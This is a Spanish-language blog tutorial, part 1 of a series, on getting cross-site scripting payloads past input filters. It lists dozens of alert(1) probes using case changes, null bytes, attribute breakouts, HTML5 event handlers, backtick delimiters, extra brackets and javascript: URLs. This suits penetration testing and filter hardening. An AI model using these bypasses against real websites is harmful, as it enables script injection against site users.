BlogWonderHowTo

Técnicas avanzadas para omitir y derrotar filtros XSS, parte 1

No hay escasez de defensas contra el cross-site scripting (XSS) ya que es tan frecuente en la web hoy en día. Los filtros son una de las implementaciones más comunes que se utilizan para prevenir este tipo de ataque, generalmente configurados como una lista negra de malas expresiones conocidas o basados ​​en la evaluación de expresiones regulares. Pero hay esperanza con una amplia variedad de técnicas que pueden usarse para vencer estos filtros.

Modificaciones básicas

Podemos comenzar con algunas omisiones de filtro relativamente simples. Dependiendo de la complejidad del filtro involucrado, estos pueden producir resultados con un esfuerzo mínimo.

La mayoría de las técnicas que exploraremos serán una variación de una carga útil simple para probar fallas XSS, que se parece al siguiente código. Si el parámetro que se está probando es vulnerable, aparecerá un cuadro de alerta mostrando uno.

<script>alert(1)</script>

A veces, una simple alteración de este código anulará los filtros defensivos básicos. Intente insertar un espacio o una pestaña después de la etiqueta de secuencia de comandos de apertura, así:

<script >alert(1)</script>
<script	    >alert(1)</script>

Además, funciona con una pestaña codificada, una nueva línea o un retorno de carro para dividir el código.

<script&#9>alert(1)</script>
<script&#10>alert(1)</script>
<script&#13>alert(1)</script>

Variar el caso de las etiquetas del script también puede engañar a ciertos filtros.

<ScRipT>alert(1)</sCriPt>

Otro método útil que suele tener éxito es el truco de bytes nulos. Insertar un null byte en cualquier lugar de la carga útil XSS a veces puede anular los filtros.

<%00script>alert(1)</script>
<script>al%00ert(1)</script>

Atributos y etiquetas

Los atributos HTML proporcionan información adicional sobre determinados elementos de la página. Al sondear vulnerabilidades XSS, estos atributos a menudo se pueden abusar para introducir scripts y así demostrar que existe una falla. Por ejemplo, tome el aporte elemento que contiene un valor atributo:

<input type="text" name="input" value="hello">

Podemos insertar nuestro código de prueba XSS terminando las comillas del valor del atributo y cerrando la etiqueta de entrada, así:

<input type="text" name="input" value="><script>alert(1)</script>

A veces, incluso el uso de un nombre de etiqueta arbitrario puede evitar los filtros.

<randomtag type="text" name="input" value="><script>alert(1)</script>

Al igual que antes, también podemos intentar reemplazar el espacio entre el nombre de la etiqueta y el primer atributo.

<input/type="text" name="input" value="><script>alert(1)</script>
<input&#9type="text" name="input" value="><script>alert(1)</script>
<input&#10type="text" name="input" value="><script>alert(1)</script>
<input&#13type="text" name="input" value="><script>alert(1)</script>
<input/'type="text" name="input" value="><script>alert(1)</script>

Cambiar las mayúsculas y minúsculas del nombre de la etiqueta también puede tener efectos deseables.

<iNpUt type="text" name="input" value="><script>alert(1)</script>

El truco de bytes nulos también puede funcionar con nombres de etiquetas. Intente insertarlos en diferentes posiciones.

<%00input type="text" name="input" value="><script>alert(1)</script>
<inp%00ut type="text" name="input" value="><script>alert(1)</script>

Esto también puede funcionar con nombres y valores de atributos.

<input t%00ype="text" name="input" value="><script>alert(1)</script>
<input type="text" name="input" value="><script>a%00lert(1)</script>

Controladores de eventos

El lenguaje HTML contiene eventos, que son básicamente cosas que le suceden a los elementos de una página. Los controladores de eventos son el medio para que esto suceda, generalmente a través de JavaScript. Los eventos pueden ser iniciados por el navegador o un usuario. Algunos ejemplos de eventos son un botón en el que se hace clic, la carga de una página o un error.

Tomemos nuestro ejemplo anterior usando el elemento de entrada e inyectemos un controlador de eventos que contenga código para probar XSS. Podemos usar cualquier controlador de eventos apropiado (onsubmit, en este caso) para crear una carga útil. El siguiente ejemplo activará un cuadro de alerta una vez que se envíe la entrada del formulario si es vulnerable a XSS.

<input onsubmit=alert(1)>

Dependiendo del tipo de filtro implementado, hay muchos otros controladores de eventos que se pueden usar para buscar fallas XSS. Muchos de estos ni siquiera requieren la interacción del usuario, lo que los hace ideales a la hora de realizar pruebas.

<object onerror=alert(1)>
<body onactivate=alert(1)>
<body onfocusin=alert(1)>
<script onreadystatechange=alert(1)>
<input autofocus onfocus=alert(1)>

HTML5 también introdujo algunos nuevos vectores de ataque con respecto a los controladores de eventos. Ahora se pueden usar medios, como audio, video y gráficos SVG.

<audio src="new.mp3" onerror=alert(1)>
<video src="new.mp4" onerror=alert(1)>
<svg width="200" height="100" onload=alert(1)>

El nuevo estándar también permite controladores de eventos dentro de etiquetas de cierre.

</a onfocus=alert(1)>

Delimitadores y corchetes

Un delimitador es uno o más caracteres que se utilizan para separar cadenas de texto u otros flujos de datos. El uso inteligente de delimitadores puede resultar útil cuando se buscan vulnerabilidades XSS. En HTML, el espacio en blanco se usa generalmente para separar atributos y sus valores. A veces, los filtros se pueden engañar simplemente usando comillas simples o dobles como delimitadores.

<img onerror="alert(1)"src=x>
<img onerror="alert(1)"src=x>

Los valores codificados de estos también se pueden utilizar para intentar eludir las defensas.

<img onerror=&#34alert(1)&#34src=x>
<img onerror=&#39alert(1)&#39src=x>

El acento grave, o comillas inversas, proporciona otro truco útil que a menudo puede escabullirse de los filtros.

<img onerror=`alert(1)`src=x>

Y la versión codificada:

<img onerror=&#96alert(1)&#96src=x>

En ocasiones, los filtros buscarán determinadas palabras clave, como los controladores de eventos que comienzan con “activado”, en un esfuerzo por detener los ataques XSS que utilizan ese vector. Si cambiamos el orden de los atributos de antes, un filtro que desconozca los acentos graves lo tratará como un atributo único que no comienza con “activado”, omitiendo efectivamente el filtro.

<img src=`x`onerror=alert(1)>

Al igual que los delimitadores, también se puede abusar de los corchetes en un intento de engañar a los filtros. En determinadas situaciones, el filtro puede simplemente buscar pares de corchetes de apertura y cierre y comparar el contenido del interior con una lista negra de etiquetas incorrectas. Al usar corchetes adicionales, a veces se puede engañar al filtro para que acepte el código restante. La doble barra indica el corchete adicional en la etiqueta de cierre para que no se produzca ningún error. Así que esto:

<<script>alert(1)//<</script>

Se convierte en esto después de pasar por el filtro:

<script>alert(1)</script>

A veces, el uso de un soporte de apertura al final evitará el filtro.

<input onsubmit=alert(1)<

En algunos casos, una aplicación traducirá caracteres inusuales a sus equivalentes más cercanos basándose en características similares. Por ejemplo, si reemplazamos los corchetes tradicionales de apertura y cierre con comillas de doble ángulo, una aplicación que realice este comportamiento puede transformarlos en los caracteres correctos, permitiendo efectivamente que la entrada sea válida y anulando el filtro.

«input onsubmit=alert(1)»

También puede resultar exitoso codificar estos caracteres, similar a los ejemplos anteriores.

&#174input onsubmit=alert(1)&#175

Pseudoprotocolos

Los navegadores pueden aceptar código JavaScript en línea como parte de una URL o cualquier atributo que espere una URL. VBScript, un lenguaje de secuencias de comandos similar basado en Visual Basic, también se usa en algunas versiones anteriores de Internet Explorer de la misma manera. Estos pseudoprotocolos a veces se pueden utilizar como un vector adicional para los ataques XSS.

Tomemos el a href atributo, por ejemplo. Este atributo HTML especifica la URL de la ubicación de un enlace, por lo general con algún texto destinado a ser un hipervínculo, así:

<a href="https://www.google.com">Click Here</a>

Podemos inyectar código para demostrar una vulnerabilidad XSS utilizando el pseudoprotocolo de JavaScript.

<a href="javascript:alert(1)">Click Here</a>

También se pueden utilizar otros atributos que toman una URL como valor (tenga en cuenta que, si bien es una práctica recomendada, los valores de atributo no requieren comillas).

<img src=javascript:alert(1)>
<form action=javascript:alert(1)>
<object data=javascript:alert(1)>
<button formaction=javascript:alert(1)>
<video src=javascript:alert(1)>

Manténgase atento a más omisiones de filtros

Hasta ahora, hemos explorado varios métodos utilizados para omitir y anular los filtros XSS, que van desde alteraciones básicas como insertar espacios y mayúsculas y minúsculas, hasta inyectar atributos y controladores de eventos y engañar a los filtros para que acepten caracteres inusuales como comillas inversas y corchetes de doble ángulo. A continuación, profundizaremos un poco más en JavaScript y cómo se puede utilizar para pasar por alto los filtros, así como las técnicas para superar la desinfección de entrada y las restricciones de longitud.

Imagen de portada de ShonEjai / Pixabay; Capturas de pantalla de drd_ / Null Byte

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba
Cerrar